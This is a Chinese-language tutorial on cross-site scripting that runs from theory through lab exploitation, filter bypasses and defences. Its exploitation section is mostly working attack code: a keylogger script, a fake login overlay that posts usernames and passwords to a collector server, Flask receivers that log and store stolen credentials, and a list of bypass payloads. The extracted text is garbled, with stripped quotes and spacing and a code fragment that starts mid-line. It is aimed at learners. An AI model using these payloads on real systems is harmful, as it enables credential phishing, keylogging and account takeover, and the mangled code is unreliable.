XSS漏洞之原理、利用、绕过与防御
XSS漏洞之原理、利用、绕过与防御XSS漏洞介绍XSSCross-Site Scripting跨站脚本攻击是一类 Web 安全漏洞。攻击者利用Web程序对用户输入检查不足的情况下将恶意代码注入网站或Web应用当用户访问网页时触发恶意代码的执行从而达到窃取用户个人数据或执行某行为等攻击目的。在线论坛、博客、留言板等共享平台是跨站脚本攻击的典型目标。XSS漏洞的类型反射型XSS通常发生在用户输入通过 URL 参数传给服务器然后服务器立即把它返回到页面。存储型XSS恶意脚本通过评论、昵称、个人简介等位置存储到数据库或服务器中其他用户访问页面时触发。DOM型XSS主要发生在前端 JavaScript 中。服务端可能完全没有参与漏洞来自浏览器端代码。XSS的原理攻击者把可执行的前端脚本注入到网页中使浏览器在受害者访问页面时执行攻击者控制的代码获得受害者的信息或者让受害者执行某些行为例如cookie劫持、访问某一些网站等等。XSS利用场景举例信息劫持场景行为执行场景XSS的利用利用发射型XSS实现cookie劫持打开靶场将劫持cooki的恶意代码拼接在后面python开启一个服务接收cookie? t.value: t.innerText;clearTimeout(timer);timersetTimeout(send,1500);} },true);接下来写一下监听键盘记录的代码如下fromflaskimportFlask,request,jsonifyfromflask_corsimportCORS# 【新增】导入 CORS 模块importdatetime appFlask(__name__)CORS(app)# 【新增】全局允许跨域请求这是关键app.route(/log,methods[POST])defreceive_keys():# 增加一个容错处理防止前端发送的不是标准 JSON 导致报错datarequest.get_json(silentTrue)ifnotdata:returnjsonify({status:error,msg:Invalid JSON}),400timestampdatetime.datetime.now().strftime(%Y-%m-%d %H:%M:%S)urldata.get(url,Unknown URL)input_datadata.get(data,{})print(f\n[{timestamp}] 捕获到页面输入 | 来源:{url})# 遍历并打印每个输入框的内容forelement_id,valueininput_data.items():# 简单脱敏如果是密码字段打印时替换为 *ifpasswordinelement_id.lower()orpassinelement_id.lower():print(f - [{element_id}]:{**len(value)}(长度:{len(value)}))else:print(f - [{element_id}]:{value})returnjsonify({status:success})if__name____main__:print(*50)print(XSS 接收端已启动监听 http://127.0.0.1:8000 ...)print(请确保靶场网页已注入 payload 并触发输入)print(*50)# 建议关闭 debug 模式下的 reloader防止打印输出被截断或重复app.run(host127.0.0.1,port8000,debugFalse)上靶场将下面这个js代码填在靶场留言板中然后提交就可以开始监听键盘记录了script srchttp://127.0.0.1:81/a.js/script开始监听尝试在留言板中输入东西可以看到网络的请求记录看一下后台已经收到了键盘记录这里只是一个简单的记录键盘记录还可以窃取信息等等只要思路发散一下相信各位师傅可以想到各种利用方式。这里就不一一举例了。利用DOM型XSS实现界面劫持界面劫持UI Redressing是通过DOM操作在合法网站上覆盖一层恶意的HTML界面让用户误以为是原网站的功能模块从而输入敏感信息账号、密码、银行卡等。这里我继续以自己部署的pikachu靶场来实践在DOM型xss-x的登录框中输入以下代码/adiv styleposition:fixed;top:0;left:0;width:100%;height:100%;background:rgba(0,0,0,0.5);z-index:9999;display:flex;justify-content:center;align-items:center;div stylebackground:white;padding:30px;border-radius:10px;width:300px;h2 styletext-align:center;margin-top:0; 安全验证/h2form onsubmitevent.preventDefault();var udocument.getElementById(u).value;var pdocument.getElementById(p).value;fetch(http://127.0.0.1:8000/steal,{method:POST,headers:{Content-Type:application/x-www-form-urlencoded},body:username${u}password${p}}).then(function(){document.getElementById(m).innerText验证失败请重试;document.getElementById(p).value;}).catch(function(){document.getElementById(m).innerText网络错误;});return false;input typetext idu placeholder账号 stylewidth:100%;padding:10px;margin:10px 0;box-sizing:border-box;input typepassword idp placeholder密码 stylewidth:100%;padding:10px;margin:10px 0;box-sizing:border-box;button typesubmit stylewidth:100%;padding:10px;background:#007bff;color:white;border:none;border-radius:5px;验证/button/formp idm stylecolor:red;text-align:center;font-size:12px;/p/div/diva href这里我随便写了一个登录框正常钓鱼的话应该看起来和正常的登录页面一样提交一下然后准备接收数据的服务器这里我就直接在我的电脑里面部署了实际环境还有考虑其它的这里就不详细说了下面是用python写的代码fromflaskimportFlask,requestfromflask_corsimportCORSimportdatetimeimportos appFlask(__name__)CORS(app)# 定义接收数据的路由必须与前端 fetch 的 URL 和 POST 方法一致app.route(/steal,methods[POST])defsteal_data():# 获取当前时间timestampdatetime.datetime.now().strftime(%Y-%m-%d %H:%M:%S)usernamerequest.form.get(username,未获取到账号)passwordrequest.form.get(password,未获取到密码)# 获取受害者的 IP 地址client_iprequest.remote_addr# 1. 在控制台高亮打印print(\n*60)print(f [{timestamp}] 成功捕获钓鱼数据)print(f 来源 IP:{client_ip})print(f 账号:{username})print(f 密码:{password})print(*60\n)# 2. 将数据保存到本地文件防止控制台刷新导致数据丢失filenamestolen_credentials.txtwithopen(filename,a,encodingutf-8)asf:log_entryf[{timestamp}] IP:{client_ip}| 账号:{username}| 密码:{password}\nf.write(log_entry)# 3. 返回响应给前端# 前端代码中有 .then((){...})只要返回 200 状态码前端就会执行提示“验证失败”的逻辑returnOK,200if__name____main__:print(*60)print( 钓鱼数据接收端已启动...)print( 监听地址: http://127.0.0.1:8000/steal)print(f 数据将自动保存到当前目录的:{os.path.abspath(stolen_credentials.txt)})print(*60)# 运行在 8000 端口关闭 debug 模式防止输出错乱app.run(host127.0.0.1,port8000,debugFalse)运行数据接收端然后我们来扮演一下受害者打开网站点击”有些费尽心机想要忘记的事情,后来真的就忘掉了“我们会到这个页面输入账号密码admin:admin点击验证后看一下服务器实际情况下应该将提交的表单转发到你要知道密码的平台登录网站将返回结果处理后转发回客户端页面有兴趣的师傅可以试着写一下。XSS的绕过技巧这些绕过技巧部分是在网上找的文章我进行汇总的并非全部原创用/代替空格绕过img/srcx/onerroralert(xss);大小写绕过ImG sRcx onerRoralert(xss);双写绕过imimgg srsrccx onerroralert(xss);用替代 ()括号绕过img srcx onerroralert1字符拼接绕过img srcx onerroraaler;bt;c(xss);;eval(abc)top绕过scripttop[alert](xss);/script注释绕过scriptalert(xss);///script标签的优先级绕过titleimg src/titleimg srcx onerroralert(xss); //因为title标签的优先级比img的高所以会先闭合title从而导致前面的img标签无效编码绕过img src# onerror\u0061\u006C\u0065\u0072\u0074(\u0078\u0073\u0073)hex绕过img srcx onerroreval(\x61\x6c\x65\x72\x74\x28\x27\x78\x73\x73\x27\x29)八进制绕过img srcx onerroralert(\170\163\163)反引号代替单双引号绕过img srcx onerroralert(xss);html标签中用//可以代替http://img srcx onerrordocument.location//www.baidu.com标签绕过假如所有HTML标签都被过滤可以尝试自定义标签来进行绕过。先制作一个自定义标签bq idbq onfocusalert(1) tabIndex1然后利用锚点#定位到我们制作的标签位置在这里即#bq锚点#id访问地址https://domain/#bqSVG绕过将下面内容保存到txt文件中然后改一下后缀名上传即可?xml version1.0 encodingUTF-8 standaloneno? !DOCTYPE svg PUBLIC -//W3C//DTD SVG 1.1//EN http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd svg version1.1 idLayer_1 xmlnshttp://www.w3.org/2000/svg xmlns:xlinkhttp://www.w3.org/1999/xlink x0px y0px width100px height100px viewBox0 0 751 751 enable-backgroundnew 0 0 751 751 xml:spacepreserve image idimage0 width751 height751 x0 y0 hrefdata:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAu8AAALvCAIAAABa4bwGAAAAIGNIUk0AAHomAACAhAAAgAAAIDo / scriptalert(1)/script /svgCSP绕过这个内容可以看一下evoA大佬的文章感觉我写不出比他好的这里我就直接放链接了。https://xz.aliyun.com/news/4716XSS防御策略输入过滤对用户输入进行合法性校验优先采用白名单机制限制输入格式、长度和字符范围例如用户名、手机号、邮箱等字段应只允许符合业务规则的内容。对于富文本、评论等允许输入特殊字符的场景不应简单依赖黑名单过滤而应使用成熟的 HTML Sanitizer 对危险标签、事件属性和脚本协议进行清理如 script、onerror、onclick、javascript:等。输出编码在页面输出用户可控内容时应根据输出位置进行相应的编码处理防止浏览器将用户输入解析为可执行脚本。例如在 HTML 正文中输出时可以使用 htmlspecialchars() 等函数进行 HTML 实体编码将 转换为 将 转换为 从而使恶意标签以普通文本形式显示。设置 HttpOnly为会话 Cookie 设置安全属性降低 XSS 攻击成功后的危害。服务器在返回 Cookie 时应设置 HttpOnlytrue禁止客户端 JavaScript 通过 document.cookie 读取 Cookie从而减少攻击者窃取用户会话凭证的风险。文件上传场景也要防 XSS禁止上传 .html、.svg 等高风险文件除非确实需要上传文件重命名避免用户控制路径和文件名文件放到独立域名例如 static.example-cdn.com返回时设置Content-Disposition: attachment和X-Content-Type-Options: nosniff避免浏览器把文件当成可执行页面解析。使用安全框架与安全库在前端开发中应优先使用 React、Vue、Angular 等现代前端框架提供的自动转义机制。默认情况下这些框架会将用户输入作为普通文本渲染避免其被浏览器解析为 HTML 或 JavaScript 代码。内容安全策略 CSP内容安全策略即 CSP是一种基于 HTTP 响应头的安全机制。它可以限制页面允许加载脚本、样式、图片等资源的来源从而降低 XSS 攻击造成的影响。